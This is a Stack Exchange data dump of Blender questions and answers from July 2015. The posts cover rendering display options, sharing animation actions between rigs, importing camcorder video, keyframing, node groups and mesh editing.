  <row Id="33560" PostTypeId="2" ParentId="33558" CreationDate="2015-07-07T19:26:21.423" Score="22" Body="&lt;p&gt;By default it picks the largest area, unless an image editor already exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can alter this behavior by setting the &lt;em&gt;Display&lt;/em&gt; option in the render settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PQBxG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Keep UI&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does not change the UI. The render will not be automatically shown.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;New Window&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Opens a separate window containing only an image editor  showing the render.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Image Editor&lt;/em&gt; (default)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Renders into an image editor. Turns the largest area into an image editor if one doesn't exist.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Full Screen&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replaces the UI with a full screen image editor showing the render.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-07-07T19:32:03.283" LastActivityDate="2015-07-07T19:32:03.283" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33561" PostTypeId="1" AcceptedAnswerId="33574" CreationDate="2015-07-07T19:27:03.157" Score="1" ViewCount="1215" Body="&lt;p&gt;I was wondering how do you make one full body armature, animate it and then apply it to different humanoid character. Currently I am working on several characters that will feature the same movements so I was looking for a way to do one skeletal armature and apply it to different rigs, that way I won't need to do the animations for each character. I've heard about the motion capture files that can be applied to already rigged characters however I was looking for a more personalized way of doing this by myself, if there are add-ons that can help me do that I'll appreciate the information a lot.&#xA;P.S. I'm new to do this so please no hate.&lt;/p&gt;&#xA;" OwnerUserId="15476" LastActivityDate="2015-07-07T23:49:05.263" Title="Skeletal animation for multiple meshes" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33562" PostTypeId="2" ParentId="33553" CreationDate="2015-07-07T19:30:03.577" Score="3" Body="&lt;p&gt;Starting with a randomly placed 3D cursor and an object origin at the center:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mSbP4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt; select &lt;em&gt;Cursor to Center&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;RMB &lt;/kbd&gt;the first and &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;RMB &lt;/kbd&gt;the last edge you want to extrude.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1rysn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that 3D cursor is select as pivot point&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BbnIZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;E&lt;/kbd&gt; (extrude) &lt;kbd&gt;S&lt;/kbd&gt; (scale) will extrude and scale the previously selected edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nJIJc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-07-07T19:30:03.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33563" PostTypeId="1" CreationDate="2015-07-07T20:05:45.670" Score="1" ViewCount="2425" Body="&lt;p&gt;I have a sony handycam which is HD and I've been trying to edit some videos using Blender video editor but its not registering my video files anywhere. I saved them from my camcorder to my computer (on my desktop) but when I click open, they aren't there. I have files in avchd (which are apparently standard on this camcorder) and in mp4 formats. I have done the settings for mp files but its still not there. Please help me so I can edit my movies from my camcorder.&#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="15478" LastActivityDate="2015-08-07T15:18:09.487" Title="how do i add mp4 files to edit?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33566" PostTypeId="1" CreationDate="2015-07-07T20:33:42.267" Score="1" ViewCount="908" Body="&lt;p&gt;I've got a scene of about 30 nulls moving around in either LightWave or Softimage.  I export either a dae or fbx file from one of those apps, import into Blender.  The nulls are in the correct position from the first frame of the animation, and data has been imported, but it hasn't been applied to the xyz coordinates for each null.  The data is listed as, &quot;no path&quot;.  However, if I originate the same animation in Blender, then save it as either a dae or fbx, then re-import into Blender, it works no problem.  How can I fix this?  Thanks, Hal Dace&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have now tested with actual geometry, same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have now determined that importing fbx does not misdirect data, as does dae, but loses it completely.  Except that the static position of the nulls is correct from the first frame of the original animation.&lt;/p&gt;&#xA;" OwnerUserId="15481" LastEditorUserId="15481" LastEditDate="2015-07-07T23:18:20.043" LastActivityDate="2015-07-07T23:18:20.043" Title="Why does importing from a .dae or .fbx format result in loss of animation?" Tags="&lt;import&gt;&lt;collada&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33567" PostTypeId="1" CreationDate="2015-07-07T20:33:58.673" Score="1" ViewCount="710" Body="&lt;p&gt;Often I'll try changing the position of an object or whatever it may be, and forget to apply the keyframe, then the timeline moves, I quit the program, I start to render, or whatever, and either the keyframe before the change or the saved keyframe on that frame takes over and I loose all my work. Autosave isn't reliable so is there a way to have the keyframe auto-update to changes made to the properties it defines?&lt;/p&gt;&#xA;" OwnerUserId="8093" LastActivityDate="2015-07-07T20:43:31.413" Title="Changing properties of a keyframe" Tags="&lt;animation&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33568" PostTypeId="2" ParentId="33567" CreationDate="2015-07-07T20:38:20.147" Score="3" Body="&lt;p&gt;You can enable auto keyframing on the timeline by pressing the red button:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eEs7C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;more info on the &lt;a href=&quot;http://www.blender.org/manual/animation/editors/timeline.html?highlight=timeline#keyframe-control&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-07-07T20:43:31.413" LastActivityDate="2015-07-07T20:43:31.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33572" PostTypeId="1" CreationDate="2015-07-07T23:11:06.927" Score="0" ViewCount="159" Body="&lt;p&gt;I have an MHX rig attached to a Makehuman model in Blender and I've posed the model to look at the camera and turn her head, but there's a deformation that I don't want going on. I have &quot;Armature&quot; &quot;Corrective Smooth&quot; &quot;Collision&quot; and &quot;Subsurf&quot; modifiers on her. Nothing helps to remove except for the armature modifier for obvious reasons.&lt;img src=&quot;https://i.stack.imgur.com/kk840.png&quot; alt=&quot;Notice the mouth interior sticking out, because under the jaw has lost volume, the neck appears to be twisted (Which it is, but shouldn&amp;#39;t actually appear to be) and the collar bone area has some deformations from this as well. Both arms are positioned like the right one. Don&amp;#39;t mind the lips, I can&amp;#39;t figure out how to change their viewport color.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8093" LastActivityDate="2015-07-07T23:11:06.927" Title="Turning head of Makehuman model causes problems" Tags="&lt;armature&gt;&lt;makehuman&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33573" PostTypeId="2" ParentId="33511" CreationDate="2015-07-07T23:37:58.583" Score="2" Body="&lt;p&gt;Blender does not currently support inter frame effects that allow information from one frame to inform a later one. What you need is Optical Flow technology.  There are a number of software solutions available and even some free ones, depending on your OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be a neat trick for blender however, allowing you to render at half frame rate then interpolate the rest.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-07-07T23:37:58.583" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33574" PostTypeId="2" ParentId="33561" CreationDate="2015-07-07T23:44:01.313" Score="2" Body="&lt;p&gt;Every animation you do will create a - so called - &quot;action&quot; which is a datablock that can be transfered to any other rig. All the bones involved must share exactly the same names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand the thing, try create a simple rig from scratch, parent it with a simple mesh, Shift D duplicate both object and armature and move the new obj-rig away from the original position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;create an animation of the first rig-object;&#xA;select the second rig, go to pose mode, open a dope-sheet window, in the header change the drop down menu from &quot;dopesheet&quot; to &quot;action&quot;; change the dropdown menu from &quot;new&quot; (2nd rig has no actions, by now) to the only one you have created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, moving the timeline, both objects move together, as they share the same action and the same bone names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the action is referred to the local space of the object, so, if the 2 object have different positions, they will move as twins, in their respective position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same you can apply with complex models and rigs, if they share the same bone names.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="13752" LastEditDate="2015-07-07T23:49:05.263" LastActivityDate="2015-07-07T23:49:05.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33575" PostTypeId="1" AcceptedAnswerId="33589" CreationDate="2015-07-07T23:44:56.343" Score="2" ViewCount="1018" Body="&lt;p&gt;In this &lt;a href=&quot;https://blender.stackexchange.com/a/33549/5334&quot;&gt;answer&lt;/a&gt; by @RayMairlot, I learned how to generate a mesh surface that looks like many small cubes stacked in the shape of a sphere (or other meshes).  &lt;code&gt;Remesh -&amp;gt; Blocks&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I can't leave well-enough alone, I would like to see exactly how this algorithm works, and what an Octree is. Where can I find the C code (?) behind this modifier?&lt;/p&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-07-08T15:10:19.760" Title="Where can I find the code behind the Remesh Blocks modifier?" Tags="&lt;scripting&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33576" PostTypeId="1" CreationDate="2015-07-08T00:26:10.327" Score="12" ViewCount="7847" Body="&lt;p&gt;I have a Compositing node set-up for a lomography effect that I want to export or append to other blend files. Is there a way to do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried grouping the nodes, but the group wasn't appearing anywhere when I tried to append them in. (Node setup attached for whatever it's worth.)&lt;img src=&quot;https://i.stack.imgur.com/45SHF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15487" LastActivityDate="2015-07-08T00:32:14.233" Title="How do you import a Compositing Node Set-up?" Tags="&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33577" PostTypeId="2" ParentId="33576" CreationDate="2015-07-08T00:32:14.233" Score="13" Body="&lt;p&gt;You can do this by making these nodes into a custom &lt;strong&gt;Node Group&lt;/strong&gt; and then appending it to the file. To do this select all the nodes, and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt;. &lt;em&gt;(I would recommend not including the Render Layer and Composite nodes, as they will be present in the new file)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can go to your new file and select &lt;em&gt;File &gt; Append&lt;/em&gt; and then navigate to the proper .blend file and then into the NodeGroup folder. Select the desired node group, and click &lt;strong&gt;Append&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can go into your node editor and use &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Group&lt;/em&gt; to select your node group. You can edit it using &lt;kbd&gt;Tab&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-07-08T00:32:14.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33578" PostTypeId="1" CreationDate="2015-07-08T00:36:04.957" Score="0" ViewCount="17" Body="&lt;p&gt;Given five objects, what good ways are there to use bone switch(es) to make sure only one of them is visible at one time, without having to manually key &quot;Restrict Render?&quot;&lt;/p&gt;&#xA;" OwnerUserId="7806" LastActivityDate="2015-07-08T00:36:04.957" Title="What's a clean way to toggle between several objects using armatures?" Tags="&lt;armature&gt;&lt;workflow&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33579" PostTypeId="1" CreationDate="2015-07-08T00:43:19.360" Score="1" ViewCount="201" Body="&lt;p&gt;I have a model textured and every time I put Blender into Rendered View, these weird hard edged shadows show up as if I have vertices sticking out but they are clean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yfMB6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this be a shadow settings problem or is it likely something to do with the texturing? I'm using the cycles rendering engine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A copy of the ~.blend file can be downloaded from &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=322&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=322&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13042" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-08T03:09:25.263" Title="Hard edged shadows?" Tags="&lt;modeling&gt;&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;light&gt;" AnswerCount="0" CommentCount="7" ClosedDate="2015-07-08T02:36:09.257" ContentLicense="CC BY-SA 3.0" />
  <row Id="33580" PostTypeId="1" CreationDate="2015-07-08T01:34:56.767" Score="1" ViewCount="93" Body="&lt;p&gt;I run the following code in Blender Game Engine: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ball.setAngularVelocity((0,0,0),1) #or ball.setAngularVelocity((0,0,0),0)&lt;br&gt;&#xA;print(ball.worldAngularVelocity)    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I expect to see Vector (0.0000, 0.0000, 0.0000) at each iteration, but the output looks like the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vector (0.0000, 0.0000, 0.0000)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vector (-1.1090, -0.8872, 0.1430)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vector (-0.8303, -0.6629, -0.4372)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vector (5.1094, 1.9519, 0.2987)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone help me how I can set the angular velocity to zero?&lt;/p&gt;&#xA;" OwnerUserId="14810" LastActivityDate="2015-07-09T18:11:29.100" Title="setAngularVelocity does not work" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33581" PostTypeId="1" AcceptedAnswerId="33677" CreationDate="2015-07-08T02:12:09.887" Score="4" ViewCount="229" Body="&lt;p&gt;When I plug an image to the &quot;bump node&quot; ( or &quot;Displacement&quot; ) Does it consider the black value as 0.0 height or the gray ones (0.5,0.5,0.5)&lt;/p&gt;&#xA;" OwnerUserId="5095" LastActivityDate="2015-07-09T15:20:51.937" Title="How bump node reads images in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33582" PostTypeId="2" ParentId="33563" CreationDate="2015-07-08T02:19:22.483" Score="1" Body="&lt;p&gt;You need to &lt;strong&gt;open the AVCHD file as if it were a folder&lt;/strong&gt; (it is). In Mac: Right click, then &quot;Show contents&quot;. You will see another folder, do the same with it. Then &lt;strong&gt;you'll find the *.MTS files&lt;/strong&gt;. Those you can open and work with in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can even change the extension &quot;mts&quot; to &quot;mpg&quot;, but that's not necessary in Blender. &lt;/p&gt;&#xA;" OwnerUserId="14923" LastEditorUserId="14923" LastEditDate="2015-08-07T15:18:09.487" LastActivityDate="2015-08-07T15:18:09.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33583" PostTypeId="1" CreationDate="2015-07-08T02:43:32.367" Score="0" ViewCount="101" Body="&lt;p&gt;Applying materials and textures to a particular model, what are the relative advantages and disadvantages of applying materials and textures without nodes, and with nodes?&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-07-08T02:43:32.367" Title="What are the advantages of material nodes?" Tags="&lt;materials&gt;&lt;nodes&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33584" PostTypeId="2" ParentId="2773" CreationDate="2015-07-08T03:21:05.817" Score="1" Body="&lt;p&gt;To make a UV sphere rounder, increase the number of segments and rings in the &quot;Add UV Sphere&quot; panel. These are good values to use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2rzP7.png&quot; alt=&quot;Add UV Sphere panel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15464" LastEditorUserId="15464" LastEditDate="2015-07-08T05:36:53.530" LastActivityDate="2015-07-08T05:36:53.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33585" PostTypeId="2" ParentId="33575" CreationDate="2015-07-08T04:54:40.940" Score="0" Body="&lt;p&gt;It appears from the fact that a search of the &quot;Addons&quot; tab in user preferences using the search parameter &quot;remesh&quot; returns no results, that the Remesh modifier might be part of the standard distribution source code. Try downloading that file from &lt;a href=&quot;http://www.blender.org/download/&quot; rel=&quot;nofollow&quot;&gt;the downloads page&lt;/a&gt; using the location in the Netherlands, since the link to the US server is, as I write this, not accessible. Then decompress the downloaded file, open it in a text editor, and do a search for the word &quot;Remesh.&quot; That might not take you to the code you want on the first search, but try until you've reached the end of the file.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-07-08T04:54:40.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33586" PostTypeId="1" AcceptedAnswerId="33979" CreationDate="2015-07-08T05:33:28.197" Score="1" ViewCount="474" Body="&lt;p&gt;I have a problem with Blender where UV maps for both of my materials are always visible in the UV/Image editor screen no matter what is selected in the 3D View. My model has 2 materials with texture image assigned to each of them:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/N7GTE.jpg&quot; alt=&quot;Walls material&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oKReF.jpg&quot; alt=&quot;Walls image&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QyIDS.jpg&quot; alt=&quot;Internals material&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/49my0.jpg&quot; alt=&quot;Internals image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A screenshot where all faces of first material ('Main') is selected below:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MUJMy.jpg&quot; alt=&quot;Walls UVs&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see UVs of both materials (this 'crazy network' is UV of second material) are shown while only faces of first material selected. The same issue appears when second material selected - the image is changed to correct but both UVs sets are shown. The issue seems to be fixed when 'Keep UV and edit mode mesh selection in sync' unchecked but is this behavior fine for UV/Image editor screen? If not how can I fix this and remove unnecessary UVs from material?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I uploaded the .blend file &lt;a href=&quot;https://yadi.sk/d/LS9uy6zJhjjDv&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2349" LastEditorUserId="2349" LastEditDate="2015-07-08T08:19:34.077" LastActivityDate="2015-07-14T23:15:34.200" Title="UVs shown when faces of another material selected" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33587" PostTypeId="1" CreationDate="2015-07-08T06:11:26.080" Score="1" ViewCount="541" Body="&lt;p&gt;I'm trying to install this addon but can't:&#xA;&lt;a href=&quot;https://sods-blender-plugins.googlecode.com/files/io_import_z64_v4.rar&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://sods-blender-plugins.googlecode.com/files/io_import_z64_v4.rar&lt;/a&gt;&#xA;I just installed Blender 2.7.5, I was using 2.7.2 previously.&#xA;I have placed it into the addons folder and tried to install using file several times.&#xA;it says there's an unexpected EOF when parsing, ast.parse can't read it,  and addon missing 'bl_info' gives bad info. &#xA;Blender's console:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R8iuh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done everything I can to try to figure out how to get the addon to work and have been unsuccessful.&lt;/p&gt;&#xA;" OwnerUserId="15492" LastEditorUserId="47" LastEditDate="2015-07-08T11:30:48.107" LastActivityDate="2015-07-08T14:39:44.397" Title="How do I install this add-on?" Tags="&lt;add-on&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33588" PostTypeId="2" ParentId="31657" CreationDate="2015-07-08T07:01:37.220" Score="6" Body="&lt;p&gt;If &quot;Export UV Layout&quot; menu is not available, check if the addon is enabled:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In &quot;File&quot; -&gt; &quot;User Preferences...&quot;,&lt;/li&gt;&#xA;&lt;li&gt;In Tab &quot;Add-ons&quot;,&lt;/li&gt;&#xA;&lt;li&gt;Select the &quot;Import-Export&quot; category,&lt;/li&gt;&#xA;&lt;li&gt;Check that &quot;Import-Export: UV Layout&quot; is enabled,&lt;/li&gt;&#xA;&lt;li&gt;If not, enable it by checking the corresponding box (be sure to save your change by clicking &quot;Save User Settings&quot; button&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Normally, the option is now available in the UVs menu.&lt;/p&gt;&#xA;" OwnerUserId="11015" LastActivityDate="2015-07-08T07:01:37.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33589" PostTypeId="2" ParentId="33575" CreationDate="2015-07-08T07:05:14.677" Score="6" Body="&lt;p&gt;Blender Modifiers are not written in Python but are compiled into Blender and written mostly in C, therefore Remesh won't be found in the scripts folder. The code for Remesh can be found by searching for &quot;MOD_remesh.c&quot;  once you've downloaded the source tree locally. Either download the entire &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Tools/Git&quot; rel=&quot;noreferrer&quot;&gt;GIT repo&lt;/a&gt;, or &lt;a href=&quot;http://www.blender.org/download/#source&quot; rel=&quot;noreferrer&quot;&gt;archived as a zip&lt;/a&gt;. Alternatively you can browse the &lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/tree&quot; rel=&quot;noreferrer&quot;&gt;source tree on-line&lt;/a&gt; figuring out the path should not be difficult, but here it is anyway:   &lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/HEAD:/source/blender/modifiers/intern/MOD_remesh.c&quot; rel=&quot;noreferrer&quot;&gt;source/blender/modifiers/intern/MOD_remesh.c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions about the C / C++ sources of Blender are off topic for Blender.stackexchange but you can try the developers mailing list or irc freenode #blendercoders.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-08T07:11:16.147" LastActivityDate="2015-07-08T07:11:16.147" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33591" PostTypeId="1" AcceptedAnswerId="33599" CreationDate="2015-07-08T08:12:49.897" Score="0" ViewCount="1200" Body="&lt;p&gt;I'm trying to cut a rectangular hole in my cube. You can download my source file on this &lt;a href=&quot;http://www.pasteall.org/blend/36942&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;. The cube was tempered with subdivision modifier and the shading is smooth. This is what I got so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YwQXv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the left block and a boolean modifier to cut a hole. The problem is that I need my hole to be exactly the same shape as block-right angles are necessity. The Blender gives a warning that my boolean modifier is not the first one and that results may not be what I expect. So how do I cut a block hole out of the object with smooth surface? This really bugs me and I'm very thankful for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: situation after smoothing inner part of cube with subdivision modifier and Smooth option from Shading panel:&lt;img src=&quot;https://i.stack.imgur.com/FUaS2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15494" LastEditorUserId="15494" LastEditDate="2015-07-08T13:22:26.330" LastActivityDate="2015-07-08T13:22:26.330" Title="cutting a hole in cube with subdivision surface modifier already applied" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33593" PostTypeId="1" AcceptedAnswerId="33595" CreationDate="2015-07-08T08:54:51.707" Score="2" ViewCount="1466" Body="&lt;p&gt;I have a planes mesh of which I thought it was connected.&#xA;But when I drag the one edge around, I can see that it is not connected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HxNQ4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried just everything I could image, but I have not been able to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody show me how that could be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uploaded my blender file here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/36943&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/36943&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for the help!&lt;/p&gt;&#xA;" OwnerUserId="14968" LastActivityDate="2015-07-08T15:08:36.153" Title="Fixing disconnected vertex" Tags="&lt;mesh&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33594" PostTypeId="1" CreationDate="2015-07-08T09:02:16.343" Score="2" ViewCount="1773" Body="&lt;p&gt;I have some footage that I've added a single tracking point to and linked it to an empty. This successfully moves that empty in my scene in relation to the tracker and I can add objects into the scene and parent them to those empties and they stay in position. However, some of the objects I'm adding are in motion and have particle trails, and the trails do not behave correctly since the objects are moving around based on the movement of the empty, as well as their own keyframe animations. Is there a way to invert the &quot;track to&quot; constraint on the empty so that the translation of that empty is inverted and applied to the camera so that the camera is translating, and the empty is &quot;pinned&quot; to its initial position?&lt;/p&gt;&#xA;" OwnerUserId="15495" LastActivityDate="2016-12-17T11:02:39.657" Title="Motion Tracking - Link track to empty and move camera instead of empty" Tags="&lt;constraints&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33595" PostTypeId="2" ParentId="33593" CreationDate="2015-07-08T09:06:55.413" Score="3" Body="&lt;p&gt;In &lt;em&gt;edit mode&lt;/em&gt; &lt;kbd&gt;RMB&lt;/kbd&gt; the vertex labeled 1 then &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;RMB&lt;/kbd&gt; the 2nd vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dm53J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;M&lt;/kbd&gt; (merge) select &lt;em&gt;At last&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-07-08T09:06:55.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
